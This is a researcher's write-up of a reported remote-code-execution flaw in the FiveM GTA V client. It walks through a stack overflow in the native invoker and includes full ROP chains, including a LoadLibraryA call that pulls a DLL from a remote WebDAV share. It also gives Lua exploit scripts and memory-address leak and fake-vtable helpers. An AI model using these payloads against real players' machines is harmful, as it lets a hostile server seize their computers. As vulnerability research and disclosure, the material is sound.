Unauthorized Code Execution in FiveM / GTA V (Pwning the Game Client)
Exploiting a Computer Program
1. Introduction
Computer programs take, often transform data, sometimes use it to transform themselves. Other times, the programmer at fault, they can be corrupted by data. If corrupted accidentally, the program may find an untimely end to its execution. But if the flaw is perceived by the skilled eye, the program may turn into an open back door for seizing the entire computer. Knowing this, I had always imagined exploiting a computer program, as it is said, to be a fascinating challenge.
More than a year before the publication date, I thought it was time to try. Unsure of the program to target, I arrived at an article telling the exploitation of a peculiar kind of program, a video game, and explaining why these programs are often an attractive host for exploitable software bugs; and so I was persuaded by this article to make a program of this kind the object of my experiment. Now I had to choose which. I considered those most popular of the time, and chose one. Then started my quest. I needed to find a way to abuse the program remotely such that I could execute any code in the computer of the user. After looking at the source code, which was public, every once in a while, it was not until two months had passed, that I was struck with the sight of what appeared to be an ideal stack buffer overflow bug, and exploited it with success. My ambition achieved, I submitted the bug to the developers of the program. I then decided to pursue exploitation once more, and by the end of the week, after finding and combining a few disparate software bugs, I achieved exploitation again. In this article I will tell you more about this experience.
About the organization of this article, I will say that after this introduction follow four sections: in the second section of the article, entitled On the Affected Components of the Program, I will give you a short description, or reference, of the relevant parts of the program, which you may consult at need; in the third section, entitled Smashing the Stack in InvokeNative, I will explain how I achieved exploitation, from the discovery of the abused software bug, to the proof of concept; in the fourth section, entitled Two Interesting Natives and Two Vulnerabilities in the Native Invoker, I will talk about how I exploited the program the second time; and in the fifth and last section of the article, entitled Conclusion, I will say a few concluding words about this article.
2. On the Affected Components of the Program
FiveM is an open source extension or modification to the video game Grand Theft Auto V. This popular game, which has recently reached the milestone of 250,000 players online at once, alters essential parts of Grand Theft Auto V to allow for greater customization by developers and players. While in regular Grand Theft Auto Online the player enters game sessions selected automatically, in FiveM he is able to choose from a vast number of dedicated servers, hosted by others, in which to play. Developers, on the other hand, have an extensive modification framework at their service to create and combine plugins within the comfort of high level programming languages and the aid of useful libraries. Moreover, the player is not bothered with the installation of anything but the FiveM client, and he has only to join a game server for the modifications to take effect. In this way, upon connecting to a game server, the game client requests a list of scripts to download and execute in the machine of the player. These scripts carry all modifications to the game client the server mandates, from the way a loading screen looks, to the speed of a moving car. Looking at the two main divisions of the game, the client seemed to me most interesting, because the data received and interpreted in the client appeared much more complex than that which the client sent to the server, and thus I made this part of the program my chief object of study.
All game scripts in FiveM are provided three basic libraries, namely: first, the Citizen library, implemented as a native module, which provides a number of internal functions for low-level scripting operations; second, the CitizenNatives library, implemented as a script and built upon Citizen, which provides an abstraction of the native invoker from Citizen; third, the CitizenCore library, implemented as a script and built upon Citizen and CitizenNatives, which provides a cooperative thread scheduler suited for game scripts, access to the local and remote inter-script messaging system, an HTTP client, and other utilities of lesser importance. But it is through one of these libraries, and through a part of it alone, that my exploitation is wholly performed, that is, the native invoker from the Citizen library.
It is common between GTA V modification enthusiasts to talk about native functions or natives, which are more than 6000 undocumented functions from the internal scripting engine of GTA V; these functions the native invoker enables game scripts to call. And it does so without restriction, except for a handful of trivial or overtly exploitable natives. In fact, most modifications to the game client are carried out by game scripts through native functions.
Of native functions I should say a few important things. First, that every native function is identified by a unique 32-bit value and implemented, as it is said, in a native handler function. Second, that native handlers take a single argument, through which they take and give their invocation arguments and results, called the native call context structure. Third, that this structure holds many argument fields but only one result field, which, as we should say, stores the proper result of the invocation, and thus natives that need to return many values expect pointer arguments wherein to store them, like functions in C not uncommonly do. Fourth, that all native functions are stored as pairs of identifiers and handlers. And fifth, that it will be convenient to know the definitions for the native handler function and native call context structure types, as follows.
struct scrNativeCallContext
{
VOID *m_pReturn; // @0
DWORD m_nArgCount; // @8
VOID *m_pArgs; // @16
DWORD m_nDataCount; // @24
BYTE m_vectorSpace[96]; // @32
BYTE pad[96]; // @128
}; // size 224
typedef void(*NativeHandler)(scrNativeCallContext *);
At the time of writing, the native invoker is exposed through 15 of the 27 functions which make up the Citizen library, namely: InvokeNative, InvokeNative2, GetNative, PointerValueIntInitialized, PointerValueFloatInitialized, PointerValueInt, PointerValueFloat, PointerValueVector, ReturnResultAnyway, ResultAsInteger, ResultAsLong, ResultAsFloat, ResultAsString, ResultAsVector, and ResultAsObject.
I should now try to explain these functions.
- InvokeNative is the primary API for the native invoker. Through InvokeNative the native invoker is used; through all other functions it is configured and prepared for use. In regard to its usage, InvokeNative takes one necessary argument and one or more optional arguments. The necessary argument is the identifier of the native function to be called. Every other argument is either parsed and delegated to the identified native function, if it be a proper argument; or it is captured by the invoker, if it be a meta argument. Proper arguments are such natural values as numbers, booleans, strings, etc. Meta arguments, on the other hand, are special pointer values, recognized by the argument parser, which configure the invoker. There are ten possible meta-arguments: PointerValueInt, PointerValueFloat, PointerValueVector, ResultAsInteger, ResultAsLong, ResultAsFloat, ResultAsString, ResultAsVector, ResultAsObject, and ReturnResultAnyway; all meta-arguments concern only the result of the native invocation. InvokeNative either returns the proper result of the invocation, or the results stored in pointer arguments, or both. The first case occurs by default. The second case occurs when at least one PointerValueX meta-argument is specified; thus each PointerValueX meta-argument instructs the invoker to pass a pointer argument to the native handler upon invocation, and to read and return its value to the calling script after invocation. But if a PointerValueX meta-argument is specified, InvokeNative will not return the proper result, unless a ReturnResultAnyway or one ReturnResultAsX meta-argument is also specified; and this is the third case. The difference between ReturnResultAnyway and any of ReturnResultAsX is that ReturnResultAsX also forces a type coercion upon the proper result. For ResultAsInteger, the result will be a 32-bit integer; for ResultAsLong, a 64-bit integer; for ResultAsFloat, a C float; for ResultAsString and ResultAsObject, a Lua string; and for ResultAsVector, a vector of four dimensions. And in the same way the results stored in pointer arguments will be interpreted, for PointerValueInt, PointerValueFloat and PointerValueVector. But if the proper result is to be returned and no ResultAsX meta-argument is specified, then the default type coercion will apply, and the proper result will be assumed to be a 32-bit integer. I have now described in general terms all the arguments and return values which can be taken and produced by InvokeNative, and, since its behaviour is configured by its input alone, nothing else is to be said about this function.
- InvokeNative2 is a variation of InvokeNative which, instead of taking a native identifier, takes a pointer to a structure which holds a reference to the native handler function, and thus spares a lookup in the native function table. This notably implies drastic changes in the underlying structure in which the parsed invocation arguments are directly stored, but with this we should not yet be concerned. The structure to be passed to InvokeNative2 is provided by the GetNative function, which takes the native identifier alone.
- PointerValueInt, PointerValueFloat, PointerValueVector, ReturnResultAnyway, ResultAsInteger, ResultAsLong, ResultAsFloat, ResultAsString, ResultAsVector and ResultAsObject all take no arguments and return a corresponding meta-argument for use in InvokeNative.
- And finally, PointerValueIntInitialized and PointerValueFloatInitialized provide meta-arguments PointerValueInt and PointerValueFloat but also initialize the memory region for the pointer that will be passed to the native function upon invocation. Thus they take a single argument, which may be an integer in the case of PointerValueIntInitialized or a float in the case of PointerValueFloatInitialized, or nil, and return an initialized meta-argument.
But the nature of this API will be made clear with a few examples.
Example 1
Suppose you want to obtain the current screen resolution through the native function _GET_ACTIVE_SCREEN_RESOLUTION, or, 0x873C9F3104101DD3.
You will first visit a reference page for the native, such as the one under this link, and notice that it takes two arguments, both result pointers, and returns no proper result (observe the return type).
In C++, with a standard native invoker, you would call the native function as follows.
int width;
int height;
MyInvokeNative(0x873C9F3104101DD3,
&width,
&height);
But in a FiveM game script, with the Citizen native invoker, you would call it as in the following code.
local width,height = Citizen.InvokeNative(0x873C9F3104101DD3,
Citizen.PointerValueInt(),
Citizen.PointerValueInt())
Here, argument one is the native identifier and argument two and three are meta-arguments which instruct the invoker to pass two pointer arguments to the native function, and to read and return their values after invocation.
However, note that, in practice, game scripts seldom make use of the Citizen invoker directly, and instead rely on CitizenNatives for native calls. The code above would be written as follows with CitizenNatives.
local width,height = GetActiveScreenResolution()
Example 2
To make a player invincible through SET_PLAYER_INVINCIBLE, where Player is the player identifier (for example, as returned by PLAYER_PED_ID):
Citizen.InvokeNative(0x239528EACDC3E7DE,
Player,
true)
Here, argument two and three are both proper arguments and are thus directly forwarded to the native function upon invocation.
Example 3
To know the health of an entity through GET_ENTITY_HEALTH, where Entity identifies the entity:
local health = Citizen.InvokeNative(0xEEF059FAD016D209,
Entity,
Citizen.ResultAsInteger())
Here, argument two is a proper argument and argument three is a meta-argument which instructs the invoker to interpret the result of the invocation as a 32-bit integer and return it as such.
Example 4
To obtain the moving speed of an entity through GET_ENTITY_SPEED in meters-per-second, where Entity identifies the entity:
local speed = Citizen.InvokeNative(0xD5037BA82E12416F,
Entity,
Citizen.ResultAsFloat())
Here, argument two is a proper argument and argument three is a meta-argument which mandates that the result of the invocation be interpreted as a floating-point number and returned as such to the calling script.
3. Smashing the Stack in InvokeNative
This exploit abuses a buffer overflow bug in the argument parser of the native invoker which allows callers to write arbitrary data past the bounds of an array for argument values; this array is allocated on the stack. We will begin with a brief introduction of the defective code, which we will then inspect and expose, and finally I will give a chronological account of its exploitation, from the discovery of the vulnerability to the demonstration of the exploit in its final form.
In InvokeNative occur two important structures used by the argument parser, namely, context and result: context is an abstraction of the native call context structure in which the parsed invocation arguments are stored; result holds improper result pointers and configures the return behaviour of InvokeNative. Below are the definitions for the context and result structures (or, fxLuaNativeContext, and fxLuaResult). Note that there are two definitions for the context structure because the structure differs between the two varieties of InvokeNative.
template<bool IsInvokeNative2>
struct fxLuaNativeContext;
// InvokeNative
struct
fxLuaNativeContext<false>
{
QWORD arguments[32]; // @0
DWORD numArguments; // @256
DWORD numResults; // @260
QWORD nativeIdentifier; // @264
fxLuaNativeContext()
{
memset(arguments, 0, sizeof(arguments));
numArguments = 0;
numResults = 0;
}
}; // size 272
// InvokeNative2
struct
fxLuaNativeContext<true>
: scrNativeCallContext
{
DWORD numArguments; // @224
BYTE _pad[12]; // @228
QWORD arguments[32]; // @240
fxLuaNativeContext()
{
m_pArgs = arguments;
m_pReturn = arguments;
m_nArgCount = 0;
m_nDataCount = 0;
numArguments = 0;
}
}; // size 496
Definitions for the Context Structure
(link to complete definitions)
#define MetaArg BYTE
#define PointerValueInt 0
#define PointerValueFloat 1
#define PointerValueVector 2
#define ReturnResultAnyway 3
#define ResultAsInteger 4
#define ResultAsLong 5
#define ResultAsFloat 6
#define ResultAsString 7
#define ResultAsVector 8
#define ResultAsObject 9
#define MetaArg_Max 10
struct
fxLuaResult
{
MetaArgInit *pointerFields; // @0
DWORD numReturnValues; // @8
QWORD retvals[16]; // @16
MetaArg rettypes[16]; // @144
MetaArg returnValueCoercion; // @160
BOOL returnResultAnyway; // @164
BYTE _pad[11];
fxLuaResult( MetaArgInit *fields )
: pointerFields ( fields ),
numReturnValues ( 0 ),
returnValueCoercion ( MetaArg_Max ),
returnResultAnyway ( false )
{}
}; // size 176
Definitions for the Result Structure
(link to complete definitions)
Having laid out these two important structures, let us walk through the code of the argument parser to find the bug. We begin at InvokeNative, or rather __Lua_InvokeNative, the template function for InvokeNative and InvokeNative2. Here, the auxiliary function Lua_PushContextArgument is called to parse the individual invocation arguments as given by the calling Lua script and store them into the context structure and modify result according to the meta-arguments given.
template<bool IsPtr>
int __declspec(safebuffers)
__Lua_InvokeNative(lua_State* L)
{
// ...
fxLuaNativeContext<IsPtr> context;
fxLuaResult result(luaRuntime->GetPointerFields());
// ...
int numArgs = lua_gettop(L);
// First Lua argument is at index 1
for (int arg = 2; arg <= numArgs; arg++)
if (!Lua_PushContextArgument(L, arg, context, result))
return luaL_error(L, "Unexpected context result");
// ...
}
(link to complete function)
Lua_PushContextArgument takes the index of a given invocation argument into the Lua stack to obtain its type as a Lua value and it proceeds according to the type of the value: if it is a Lua light userdatum, that is, a C pointer previously passed to the script, control is transferred to an auxiliary function that will attempt to process it as a meta-argument; if it is of type nil, number, boolean, string or table, or* if it is a 2D or 3D or 4D vector, and thus is a proper argument, then it is converted to a C value and immediately registered, save for tables, which require special attention; if it is of another type, an error is thrown and the native invocation is not performed.
template<bool IsPtr>
int __declspec(safebuffers)
Lua_PushContextArgument(lua_State* L, int idx,
fxLuaNativeContext<IsPtr>& ctx, fxLuaResult& result)
{
const auto* value = lua_getvalue(L, idx);
int type = lua_valuetype(L, value);
switch (type)
{
// nil
case LUA_TNIL:
fxLuaNativeContext_PushArgument(ctx, 0);
break;
// number
case LUA_TNUMBER:
if (lua_valueisinteger(L, value))
fxLuaNativeContext_PushArgument(ctx, lua_valuetointeger(L, value));
else if (lua_valueisfloat(L, value))
fxLuaNativeContext_PushArgument(ctx, (float)lua_valuetonumber(L, value));
break;
// string
case LUA_TSTRING:
fxLuaNativeContext_PushArgument(context, lua_valuetostring(L, value));
break;
// 4D vector
case LUA_TVECTOR4:
case LUA_TQUAT:
auto f4 = lua_valuetofloat4(L, value);
fxLuaNativeContext_PushArgument(ctx, f4.x);
fxLuaNativeContext_PushArgument(ctx, f4.y);
fxLuaNativeContext_PushArgument(ctx, f4.z);
fxLuaNativeContext_PushArgument(ctx, f4.w);
break;
// Meta-argument
case LUA_TLIGHTUSERDATA:
uint8_t* ptr = (uint8_t*)(lua_valuetolightuserdata(L, value));
fxLuaNativeContext_PushUserdata(L, context, result, ptr);
break;
// ...
default:
return luaL_error(L, "Invalid Lua type: %s", lua_typename(L, type));
}
return 1;
}
(link to complete function)
Finally, as in the code above, all proper arguments and result pointers are registered at last through the fxLuaNativeContext_PushArgument function. This function takes a value of type T and writes it at &ctx.arguments[ctx.numArguments] and then increments ctx.numArguments. But it never makes sure there is enough space in ctx.arguments.
template<bool IsPtr, typename T>
void __declspec(safebuffers)
fxLuaNativeContext_PushArgument(fxLuaNativeContext<IsPtr>& ctx, T value)
{
using TVal = std::decay_t<decltype(value)>;
const int numArgs = ctx.numArguments;
if (sizeof(TVal) < sizeof(uintptr_t))
{
if (std::is_integral_v<TVal>)
{
if (std::is_signed_v<TVal>)
*(uintptr_t*)(&ctx.arguments[numArgs]) = (uintptr_t)(uint32_t)value;
else
*(uintptr_t*)(&ctx.arguments[numArgs]) = (uintptr_t)value;
} else {
*(uintptr_t*)(&ctx.arguments[numArgs]) = *(const uint32_t*)(&value);
}
} else {
*(TVal*)(&ctx.arguments[numArgs]) = value;
}
ctx.numArguments = numArgs + 1;
}
(link to complete function)
Now I believe the bug needs no further explanation.
In regard to its exploitation, let us begin at the moment of discovery. At this point, I did not know how to exploit a stack overflow bug and I knew very little about the call stack. I dedicated the following hours to understand how the call stack is organized and how the return address of a function may be overwritten to divert its execution, and what W^X, ASLR and stack cookies are and how they protect against this kind of attack, and what ROP is and how it is employed against W^X, etc. Things clear, I quickly put to test my new learning in an experimental program, and I was now ready for exploitation. I knew stack cookies would not be a problem, since our target function __Lua_InvokeNative was declared __declspec(safebuffers). And naturally, since our affected module was not exempt from DEP and our stack frame was not executable, my exploit had to rely on legitimate code. So I listed the PE images loaded in the game process and found one DLL constantly loaded at its preferred base, namely, xinput1_1.dll†. My task was then to build upon xinput1_1.dll a proof-of-concept ROP chain.
I began by listing the imported functions of the module, of which ordinary LoadLibraryA caught my attention. I remembered I had read that LoadLibrary could load an image from a WebDAV server in the internet if passed the appropriate path. So, to experiment, I configured a WebDAV server in a remote machine to serve a DLL and I wrote a small client, which I run on my machine, and the DLL was downloaded and loaded by LoadLibrary. This approach seemed plausible and all my exploit had to do, I thought, was to call LoadLibraryA with the path of a DLL hosted in a WebDAV server. Now, it is evident that first the call argument string had to be written somewhere and its address obtained and put into RCX; and that then the address of LoadLibraryA had to be read from the IAT and finally the control to it be transferred. The first task I quickly realized could be achieved simply by passing the string to InvokeNative as a Lua argument in the place of our fake stack in which its address should lie; this is possible because native functions take string arguments as C strings and the native invoker must act accordingly (see the code excerpt from Lua_PushContextArgument above). The others I had to achieve with ROP gadgets.
So I downloaded one or two utility programs to find ROP gadgets automatically and I later came up with what seemed to be a sound combination of four gadgets, displayed below with their stack values.
0x40228d ( call qword ptr [rbx] )
0x0
"\\\\MY_WEBDAV@80\\DLL" ( Address of DLL path string )
0x0
0x40454e ( mov rcx, qword ptr [rsp + 8]; mov qword ptr [rax + 0x18], rcx; add rsp, 0x10; pop rdi; ret; )
0x412240 ( Arbitrary .DATA buffer )
0x402e97 ( pop rax; ret )
0x4011B8 ( LLA import address )
0x407582 ( pop rbx; ret )
ROP Chain
And now that the ROP chain was ready, I had to write the exploit code. This would be a call to InvokeNative with a certain number of padding arguments to advance from the beginning of the arguments array to the base of the stack frame, followed by our fake stack or ROP chain.
v = vector4(0,0,0,0)
Citizen.InvokeNative(0,
v,v,v,v,v,v,v,v,v,v, -- Padding (320b)
0x9999999999999999, -- RBP
0x407582,0x4011B8,0x402e97,0x412240,0x40454e,0x0,"\\\\MY_WEBDAV@80\\dll",0x0,0x40228d
)
Exploit
Finally I had to test my exploit. I opened a local game server and installed my script. Opened the game client. Connected. And—
It worked. I had remote code execution.
But then I tested my exploit on my laptop. It did not work. Then I found out suddenly but not too surprisingly that my LoadLibrary trick was not reliable: apparently, to work it required that a Windows service named WebClient be running, and this was not always the case. Thus I had to look out for a new exploit.
As I was writing it, the new exploit soon became long enough to be bothersome to translate, while debugging, from my clean, organized representation to a succession of Lua function arguments. So I wrote a small lexer program to account for comments and name substitution and to output my ROP chain as our target function takes it. The source code for this program is in the file fxrop/fxrop.l in the repository linked at the bottom of this article.
After trying various combinations of different gadgets, my final ROP chain was complete. It consisted of 16 gadgets which together would open the calculator and terminate the process gracefully, by calling WinExec, through GetModuleHandleA and GetProcAddress, and then TerminateProcess, as follows.
G1 = 0x0000000000402e97 ; pop rax; ret
G2 = 0x000000000040b9eb ; cmp al, 0x2b; ret
G3 = 0x000000000040454e ; mov rcx, qword ptr [rsp + 8]; mov qword ptr [rax + 0x18], rcx; add rsp, 0x10; pop rdi; ret
G4 = 0x0000000000408046 ; cmovb rdx, rax; mov rax, rcx; mov qword ptr [rcx + 8], rdx; ret
G5 = 0x0000000000407a0f ; xor rax, rax; ret
G6 = 0x000000000040e55a ; mov rax, qword ptr [rdx + rax*8]; ret
G7 = 0x0000000000406a6a ; jmp rax
G8 = 0x00000000004040D1 ; mov 0x412118, rax; ret
G9 = 0x0000000000404FAA
; sub rsp, 28h
; mov rdx, [rsp+28h+10h] ; lpProcName
; mov rax, [rsp+28h+8h]
; mov rcx, [rax] ; hModule
; call cs:GetProcAddress
; add rsp, 28h
; ret
G10 = 0x000000000040b781 ; jmp qword ptr [rdi + 0x75]
G11 = 0x000000000040a1af ; pop rsi; pop rbp; ret
G12 = 0x00000000004082B3 ; mov ecx, ebx; call cs:ExitProcess
G13 = 0x0000000000407582 ; pop rbx; ret
G14 = 0x000000000040d66c ; pop rdx; mov eax, ecx; mov rdi, qword ptr [rsp + 0x58]; mov rbx, qword ptr [rsp + 0x50]; add rsp, 0x38; ret
G15 = 0x0000000000407651 ; ret
G16 = 0x00000000004074F3 ; mov rcx, rax; call cs:TerminateProcess
; CALL TerminateProcess
$$G16 ; mov rcx, rax; call cs:TerminateProcess
0xFFFFFFFFFFFFFFFF ; (process pseudohandle)
$$G1 ; pop rax; ret
0x0 ; (gap, 0x38)
0x0
0x0
0x0
0x0
0x0
0x0
0x0 ; (exit code)
$$G14 ; pop rdx; mov eax, ecx; mov rdi, qword ptr [rsp + 0x58]; mov rbx, qword ptr [rsp + 0x50]; add rsp, 0x38; ret
; CALL WinExec
$$G10 ; jmp qword ptr [rdi + 0x75]
$$G15 ; (align stack) ret
; SET RCX, RDI
0x4120A3
""calc.exe"" ; (command line)
0x0
$$G3 ; mov rcx, qword ptr [rsp + 8]; mov qword ptr [rax + 0x18], rcx; add rsp, 0x10; pop rdi; ret
0x412240
$$G1 ; pop rax; ret
; SET RDX
0x0 ; (gap, 0x38)
0x0
0x0
0x0
0x0
0x0
0x0
0x0 ; (SW_HIDE)
$$G14 ; pop rdx; mov eax, ecx; mov rdi, qword ptr [rsp + 0x58]; mov rbx, qword ptr [rsp + 0x50]; add rsp, 0x38; ret
$$G8 ; mov 0x412118, rax; ret
; CALL GetProcAddress
""WinExec""
0x412118
$$G11 ; pop rsi; pop rbp; ret
$$G9 ; mov rdx, [rsp+10h]; mov rax, [rsp+8h]; mov rcx, [rax]; call cs:GetProcAddress; ret
$$G8 ; mov 0x412118, rax; ret
; CALL GetModuleHandleA
$$G7 ; jmp rax
$$G6 ; mov rax, qword ptr [rdx + rax*8]; ret
$$G5 ; xor rax, rax; ret
; SET RCX
0x0
""KERNEL32.DLL""
0x0
$$G3 ; mov rcx, qword ptr [rsp + 8]; mov qword ptr [rax + 0x18], rcx; add rsp, 0x10; pop rdi; ret
0x412240
$$G1 ; pop rax; ret
$$G4 ; cmovb rdx, rax; mov rax, rcx; mov qword ptr [rcx + 8], rdx; ret
0x401118
$$G1 ; pop rax; ret
$$G2 ; (set flags) cmp al, 0x2b; ret
0x0
$$G1 ; pop rax; ret
; SET RCX
0x0
0x412250
0x0
$$G3 ; mov rcx, qword ptr [rsp + 8]; mov qword ptr [rax + 0x18], rcx; add rsp, 0x10; pop rdi; ret
0x412240
$$G1 ; pop rax; ret
Final ROP Chain
Now it was time to format the ROP chain…
$ ./fxrop < rop-winexec.txt
0x0000000000402e97,0x412240,0x000000000040454e,0x0,0x412250,0x0,0x0000000000402e97,0x0,0x000000000040b9eb,0x0000000000402e97,0x401118,0x0000000000408046,0x0000000000402e97,0x412240,0x000000000040454e,0x0,"KERNEL32.DLL",0x0,0x0000000000407a0f,0x000000000040e55a,0x0000000000406a6a,0x00000000004040D1,0x0000000000404FAA,0x000000000040a1af,0x412118,"WinExec",0x00000000004040D1,0x000000000040d66c,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0000000000402e97,0x412240,0x000000000040454e,0x0,"calc.exe",0x4120A3,0x0000000000407651,0x000000000040b781,0x000000000040d66c,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0000000000402e97,0xFFFFFFFFFFFFFFFF,0x00000000004074F3
56 args formatted.
Terminal Output
… arrange it in the exploit code…
v = vector4(0,0,0,0)
n = Citizen.GetNative(0x9999999999999999)
Citizen.InvokeNative2(n,
v,v,v,v,v,v,v,v,v,v,v,v,v,v,v,v,v,v,v, -- Padding (608b)
0x9999999999999999, -- RBP 0x0000000000402e97,0x412240,0x000000000040454e,0x0,0x412250,0x0,0x0000000000402e97,0x0,0x000000000040b9eb,0x0000000000402e97,0x401118,0x0000000000408046,0x0000000000402e97,0x412240,0x000000000040454e,0x0,"KERNEL32.DLL",0x0,0x0000000000407a0f,0x000000000040e55a,0x0000000000406a6a,0x00000000004040D1,0x0000000000404FAA,0x000000000040a1af,0x412118,"WinExec",0x00000000004040D1,0x000000000040d66c,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0000000000402e97,0x412240,0x000000000040454e,0x0,"calc.exe",0x4120A3,0x0000000000407651,0x000000000040b781,0x000000000040d66c,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0000000000402e97,0xFFFFFFFFFFFFFFFF,0x00000000004074F3)
Exploit
… and test.
Updated the game server. Connected. Loading screen. Calculator opened. Game shut down. It works.
Video Demonstration
I reported this vulnerability in the GitHub issue under this link.
4. Two Interesting Natives and Two Vulnerabilities in the Native Invoker
1. One of the developers of the program said:
There’s a lot easier code execution compared to this anyway in native invocation (type confusion for pointer arguments, infinite write-what-where primitives such as [_COPY_MEMORY] but less blatant, aided by the fact that the game executable - and therefore the entirely of the process - can’t be W^X due to DRM), so this is a much more roundabout way to break things than just using any memory-writing calls.
2. Following this comment, I sought a deeper understanding of the native invoker than what had been needed to abuse the bug we just discussed. (See § 3). I realized the design limitations of the native invoker and the extent of the attack surface which it enabled. I looked for aid in the domain of native functions themselves, then again in FiveM, and in this way I found two useful natives and two bugs in the native invoker, which I then combined to achieve remote code execution once more. What follows is a chronological account of this process.
3. I notice that _COPY_MEMORY is blocked, along with a few other clearly exploitable natives; and that indeed the whole game image is marked as RWX in memory. Then I open a native explorer and grab a binary of GTA V for disassembly. Nothing catches my eye at first: most functions seem to either operate on an object given by identifier, like it occurs in players and game entities, be too complex, or do nothing interesting. So I begin looking for pointer values. Browsing down the list, one native quickly draws my attention, namely, _GET_GLOBAL_CHAR_BUFFER. A look at its implementation confirms my intuition, and a test run does it further.
.text:00000000009B44C8 mov rax, [rcx]
.text:00000000009B44CB lea rcx, byte_172DDC8
.text:00000000009B44D2 mov [rax], rcx
.text:00000000009B44D5 retn
Disassembly of the Native
-- _GET_GLOBAL_CHAR_BUFFER
v = Citizen.InvokeNative(0x24DA7D7667FD7B09, Citizen.ResultAsLong())
print(string.format("0x%x",v))
Lua Code for Testing the Native
[ 167141] [ GameProcess] MainThrd/ 0x7ff7159c1000
Output of the Game Console
4. It is clear the native leaks an address into the game module. I know already therefore where shellcode could be written. What I need to find out is how to write to memory, and how to execute code. So I continue in my hunt for natives until I arrive at the DATADICT and DATAARRAY functions, as shown below. A quick overview makes them worthy of further inspection. I choose DATAARRAY_GET_INT for disassembly. Observe the pseudocode below. The native function delegates all the work to the auxiliary function dataArrayGetInt, forwarding to it the two input arguments and from it the return value of the call. This function first attempts to validate the input, by ensuring that the arrayData pointer is not null and that index is non-negative and less than the length of the underlying array of element pointers; then, it indexes the array to get the element pointer at index, of which it obtains the value type, by taking its virtual function table and calling the second function, to ensure it is the one for integers; and finally, it returns the element value. For clarity, the reconstructed s_rageDataArray and s_rageDataElem structures are shown below.
Any* DATADICT_CREATE_DICT (Any* objectData, const char* key)
Any* DATADICT_CREATE_ARRAY (Any* objectData, const char* key)
BOOL DATADICT_GET_BOOL (Any* objectData, const char* key)
int DATADICT_GET_INT (Any* objectData, const char* key)
float DATADICT_GET_FLOAT (Any* objectData, const char* key)
const char* DATADICT_GET_STRING (Any* objectData, const char*key)
Vector3 DATADICT_GET_VECTOR (Any* objectData, const char* key)
Any* DATADICT_GET_DICT (Any* objectData, const char* key)
Any* DATADICT_GET_ARRAY (Any* objectData, const char* key)
int DATADICT_GET_TYPE (Any* objectData, const char* key)
void DATAARRAY_ADD_BOOL (Any* arrayData, BOOL value)
void DATAARRAY_ADD_INT (Any* arrayData, int value)
void DATAARRAY_ADD_FLOAT (Any* arrayData, float value)
void DATAARRAY_ADD_STRING (Any* arrayData, const char* value)
void DATAARRAY_ADD_VECTOR (Any* arrayData, float valueX, float valueZ)
Any* DATAARRAY_ADD_DICT (Any* arrayData)
BOOL DATAARRAY_GET_BOOL (Any* arrayData, int arrayIndex)
int DATAARRAY_GET_INT (Any* arrayData, int arrayIndex)
float DATAARRAY_GET_FLOAT (Any* arrayData, int arrayIndex)
const char* DATAARRAY_GET_STRING (Any* arrayData, int arrayIndex)
Vector3 DATAARRAY_GET_VECTOR (Any* arrayData, int arrayIndex)
Any* DATAARRAY_GET_DICT (Any* arrayData, int arrayIndex)
int DATAARRAY_GET_COUNT (Any* arrayData)
int DATAARRAY_GET_TYPE (Any* arrayData, int arrayIndex)
Some Interesting Natives
__int64 __fastcall DATAFILE::DATAARRAY_GET_INT(scrNativeCallContext *ctx)
{
scrNativeCallContext *_ctx; // rbx
__int64 result; // rax
_ctx = ctx;
result = dataArrayGetInt(*ctx->m_pArgs, *((_DWORD *)ctx->m_pArgs + 2), 0);
*(_DWORD *)_ctx->m_pReturn = result;
return result;
}
Pseudocode of the Native
__int64 __fastcall dataArrayGetInt(__int64 arr, signed int index, unsigned int def)
{
unsigned int res; // ebx
__int64 elem; // rdi
res = def;
if ( !arr )
return res;
if ( index < 0 || index >= *(unsigned __int16 *)(arr + 16) )
return res;
elem = *(_QWORD *)(*(_QWORD *)(arr + 8) + 8i64 * (unsigned int)index);
if ( (*(unsigned int (__fastcall **)(__int64))(*(_QWORD *)elem + 8i64))(elem) == 2 )
res = *(_DWORD *)(elem + 8);
return res;
}
Pseudocode of the Native
struct s_rageDataElem
{
QWORD vft; // @0
QWORD val; // @8
}; // size 16
struct s_rageDataArray
{
QWORD pad; // @0
struct s_rageDataElem **arr; // @8
WORD length; // @16
}; // size 24
Reconstructed Structures
5. If only I could create a data array with an element object containing a fake vtable! Then I would be able to call at least some nullary C++ object functions… The native invoker does not tell argument types apart. Strings in Lua are 8-bit clean. I could construct a data array structure as a string and pass it to the native function—but what data? There are pointers. I need to be able to address things; otherwise, there is nothing I can do with these natives. Fortunately, I find that this can be achieved without much difficulty through the native invoker in the following way: by calling any native function that returns nothing with the string to address as first argument, and meta-argument ResultAsLong. This is because the invoker stores the proper result of an invocation in the first place of the arguments array, such that m_pReturn in scrNativeCallContext points to the higher-level &context.arguments[0] in fxLuaNativeContext (see § 3)—if we call a no-op native with one argument we are left with it as return value; and because ResultAsLong instructs the invoker to interpret and output context.arguments[0] as an integer of 64 bits of length as in (int64_t)(&context.arguments[0]) (see § 2)—if our argument is a string we are left with its address. I choose the native REGISTER_SCRIPT_WITH_AUDIO for the task and thus the straddr function is born.
.text:0000000000FDC558 retn 0
Disassembly of the Native
function straddr(s)
-- REGISTER_SCRIPT_WITH_AUDIO
return Citizen.InvokeNative(0xC6ED9D5092438D91, s, Citizen.ResultAsLong())
end
Definition of the Straddr Function
6. Now exploiting DATAARRAY_GET_INT seems possible. This native will let me call an object function at a given address with no real arguments. I need to encode the following things in different strings, using the inbuilt function string.pack where packing is necessary, and address them with straddr: first, the address of the function to call preceeded by a pointer-size gap, as the VFT of the element object; second, a pointer to the VFT, perhaps followed by additional user data for the target function to use, as the element object itself; third, a pointer to the element object, as the array; fourth, a pointer-size gap, a pointer to the array, a word value greater than zero, as the final data array object. What remains now is to call the native function with this final data array object string, and with zero, that is, the element index, as the first and second arguments—so let fcall0 be.
-- repeat string
local rp = string.rep
-- format string
local fmt = string.format
-- quadword value to little-endian string
function spU64(i) return string.pack('<I8', i) end
Lua Code
function fcall0(addr, extra)
local vft = straddr(rp('\0',8) .. spU64(addr))
local obj = straddr(spU64(vft) .. extra)
local arr = straddr(spU64(obj))
local pld = straddr(rp('\0',8) .. spU64(arr) .. 'AA')
Citizen.InvokeNative(0x3E5AE19425CD74BE, pld, 0)
end
Definition of the Fcall0 Function
